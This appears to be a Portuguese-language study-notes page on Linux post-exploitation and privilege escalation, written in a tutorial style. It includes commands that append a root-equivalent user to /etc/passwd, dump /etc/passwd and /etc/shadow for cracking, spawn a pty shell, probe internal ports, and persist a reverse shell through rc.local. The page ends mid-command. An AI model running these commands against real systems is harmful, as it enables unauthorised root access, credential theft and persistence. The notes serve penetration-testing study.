Skip to main content

Linux Pós exploitation | Solyd One

  • Linux Pós exploitation | Solyd One

Linux Privilege Escalation | Dirty Cow, linux-smart-enumeration, LinEnum, linuxprivchecker, linPEAS

info

Usar primeiro a ferramenta linux smart enumeration. Ele retorna várias informações se podemos escrever em arquivos como /etc/passwd

Sobre Senhas
danger

Quando não conseguimos quebrar a senha usando o John e caso tivermos acesso para escrever em arquivos como o /etc/passwd, podemos usar o comando mkpasswd que cria uma hash da senha e depois alteramos o arquivo de senha com essa nova hash

warning

Caso não consiga alterar o arquivo, as vezes é possível dar um append de uma informação. Exemplo:

echo "root2:<hash>:0:0:root:/bin/bash" >> /etc/passwd
info

O linux smart enumeration irá retornar em quais programas nós conseguimos ter acesso de root e a partir deles podemos escalar privilégios. O site https://gtfobins.github.io/# possui payloads que ajuda a escalar privilégios para cada programa

Abrir uma conexão tty com Python

  • Esse comando é frequentemente usado em contextos de pós-exploração, especialmente quando você consegue um shell "burro" (como via netcat) e quer transformá-lo em um shell mais interativo com suporte a funcionalida
python -c "import pty; pty.spawn('/bin/bash');"

Vasculhar por ips que respondem na rota

O comando que aparece na imagem é este:

for ip in $(seq 1 3); do ping 10.0.0.$ip -c 1; done > /tmp/saida.log

Explicação:

for ip in $(seq 1 3); do ping 10.0.0.$ip -c 1; done > /tmp/saida.log

  • for ip in $(seq 1 3); do ... done → Cria um loop que itera de 1 até 3.
  • ping 10.0.0.$ip -c 1 → Envia 1 pacote ICMP (-c 1) para cada IP no intervalo 10.0.0.1, 10.0.0.2, 10.0.0.3.
  • > /tmp/saida.log → Redireciona toda a saída do loop para o arquivo /tmp/saida.log.

🔹 Em resumo: O comando testa a conectividade (ping) para os três endereços 10.0.0.1, 10.0.0.2 e 10.0.0.3, e grava o resultado no arquivo /tmp/saida.log.

Vasculhar pasta

  • /etc/passwd - User
  • /etc/shadow - Password
  • /home

Procurar serviços internos

 nc -w 1 -vz localhost 22
  • IMPORTANTE: assim que descobrir portas de serviços, usar o metasploit para encontrar vulnerabilidades baseada nas versões dos serviços

Quebrando senhas do linux

  • As pastas onde contém informações sobre senhas são /etc/passwd e /etc/shadow

  • O programa unshadow junta os arquivos passwd e shadow e te retorna os arquivos concatenados

unshadow /etc/passwd /etc/shadow > pass.txt

Usando o John

Documentação

Mantendo shell reverse após reiniciar computador | rc.local

  • O arquivo /etc/rc.local é executado toda vez que o computador reinicia
    • Nesse arquivo podemos colocar o nosso script de shell reverse como o python

Ver quais permissões o root forneceu ao usuário conectado

  • Rode o comando abaixo:
sudo -l

Irá aparecer algo semelhante a isso:

Matching Defaults entries for start on ip-10-0-83-129:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User start may run the following commands on ip-10-0-83-129:
(root) NOPASSWD: /bin/grep

Significa que o grep pode ser usado da seguinte forma

sudo /bin/grep ----